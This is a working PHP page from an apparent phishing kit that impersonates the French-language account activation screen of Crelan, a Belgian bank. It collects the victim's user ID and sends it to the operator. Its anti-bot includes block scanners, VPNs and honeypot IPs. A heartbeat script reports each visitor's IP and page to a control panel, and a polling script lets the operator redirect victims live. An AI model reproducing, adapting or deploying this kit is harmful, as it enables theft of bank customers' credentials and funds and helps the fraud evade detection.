<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';

include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';

$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

if (stripos($honeypotbots, $ip) !== false) {
    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));

// Geo-filter removed: all countries are allowed

if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
    exit;
}

$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Activation</title>
    <style>
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            background: #fff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .activation-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 14px 20px;
            background: #fff;
            border-bottom: 3px solid #00a650;
        }
        .activation-header a {
            color: #1a1a1a;
            text-decoration: none;
            font-size: 22px;
            padding: 4px 10px;
            line-height: 1;
        }
        .activation-header .title {
            font-weight: bold;
            font-size: 17px;
            color: #1a1a1a;
        }
        .activation-main {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 20px 24px 100px;
            max-width: 400px;
            margin: 0 auto;
            width: 100%;
        }
        .key-icon {
            width: 80px;
            height: 80px;
            margin-bottom: 28px;
        }
        .key-icon img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        .instruction {
            text-align: center;
            color: #1a1a1a;
            font-size: 17px;
            font-weight: bold;
            margin-bottom: 24px;
            line-height: 1.35;
            padding: 0 8px;
        }
        .form-wrap {
            width: 100%;
        }
        .form-group {
            width: 100%;
            margin-bottom: 4px;
        }
        .form-group input {
            width: 100%;
            padding: 14px 0;
            border: none;
            border-bottom: 1px solid #e0e0e0;
            font-size: 16px;
            background: transparent;
            outline: none;
            color: #1a1a1a;
        }
        .form-group input::placeholder {
            color: #9e9e9e;
            font-weight: normal;
        }
        .help-row {
            width: 100%;
            text-align: right;
            margin-top: 6px;
        }
        .help-link {
            font-size: 14px;
            color: #757575;
            text-decoration: underline;
            cursor: pointer;
        }
        .help-link:hover { color: #00a650; }
        .btn-next {
            position: fixed;
            bottom: 0;
            left: 24px;
            right: 24px;
            width: calc(100% - 48px);
            padding: 18px 24px;
            padding-bottom: calc(18px + env(safe-area-inset-bottom));
            font-size: 16px;
            font-weight: normal;
            color: #757575;
            background: #f0f0f0;
            border: none;
            border-radius: 999px;
            cursor: pointer;
        }
        .btn-next:hover {
            background: #e8e8e8;
            color: #616161;
        }
        .btn-next.active {
            background: #00a650;
            color: #fff;
        }
        .btn-next.active:hover {
            background: #009348;
            color: #fff;
        }
        @media (min-width: 768px) {
            .btn-next {
                position: relative;
                margin: 24px auto 0;
                max-width: 360px;
                left: 50%;
                transform: translateX(-50%);
            }
            .activation-main { padding-bottom: 48px; }
        }
    </style>
</head>
<body>
    <header class="activation-header">
        <a href="bc-choice-crelan.php?token=<?php echo htmlspecialchars($token1); ?>" aria-label="Retour">&#9664;</a>
        <span class="title">Activation</span>
        <a href="bc-load.php?token=<?php echo htmlspecialchars($token1); ?>" aria-label="Fermer">&#10005;</a>
    </header>

    <main class="activation-main">
        <div class="key-icon">
            <img src="https://img.icons8.com/ios_filled/512/40C057/key.png" alt="">
        </div>
        <p class="instruction">Encodez votre identifiant d'utilisateur</p>

        <form method="post" action="bc-load.php?token=<?php echo urlencode($token1); ?>" id="activationForm" class="form-wrap">
            <input type="hidden" name="type" value="crelan-activation">
            <div class="form-group">
                <input type="text" name="identifiant" id="identifiant" placeholder="Identifiant d'utilisateur" autocomplete="off" required>
            </div>
            <div class="help-row">
                <a href="#" class="help-link" onclick="return false;">Où le trouver ?</a>
            </div>

            <button type="submit" class="btn-next" id="btnNext">Étape suivante</button>
        </form>
    </main>
    <script>
        (function() {
            var input = document.getElementById('identifiant');
            var btn = document.getElementById('btnNext');
            function updateButton() {
                if (input.value.trim().length > 0) {
                    btn.classList.add('active');
                } else {
                    btn.classList.remove('active');
                }
            }
            input.addEventListener('input', updateButton);
            input.addEventListener('change', updateButton);
            updateButton();
        })();
    </script>
    <script>
        // Send heartbeat every 5 seconds so M3tri-control.php shows this user on "CRELAN ID Crelan" (page from pathname, same as bc-choice / bc-l-deuch)
        (function() {
            function sendHeartbeat() {
                fetch(`config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=${window.location.pathname.split('/').pop()}`, {
                    method: 'GET',
                    headers: {
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache'
                    }
                })
                    .then(function(response) { return response.json(); })
                    .catch(function() {});
            }
            sendHeartbeat();
            var heartbeatInterval = setInterval(sendHeartbeat, 5000);
            document.addEventListener('visibilitychange', function() {
                if (document.hidden) {
                    clearInterval(heartbeatInterval);
                } else {
                    sendHeartbeat();
                    heartbeatInterval = setInterval(sendHeartbeat, 5000);
                }
            });
            window.addEventListener('beforeunload', function() {
                clearInterval(heartbeatInterval);
            });
        })();
    </script>
    <script>
    (function() {
      var ip = '<?php echo addslashes($ip); ?>';
      var token1 = '<?php echo addslashes($token1); ?>';
      var waiting = setInterval(function() {
        fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
          .then(function(r) { return r.text(); })
          .then(function(data) {
            if (!data || data.length < 2) return;
            var row = data.split('#|#');
            var one = row[0];
            var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
            if (one == 'load') {
              clearInterval(waiting);
              window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
            } else if (one == 'url' && row[2]) {
              clearInterval(waiting);
              window.location.href = row[2];
            }
          })
          .catch(function() {});
      }, 1500);
    })();
    </script>
</body>
</html>
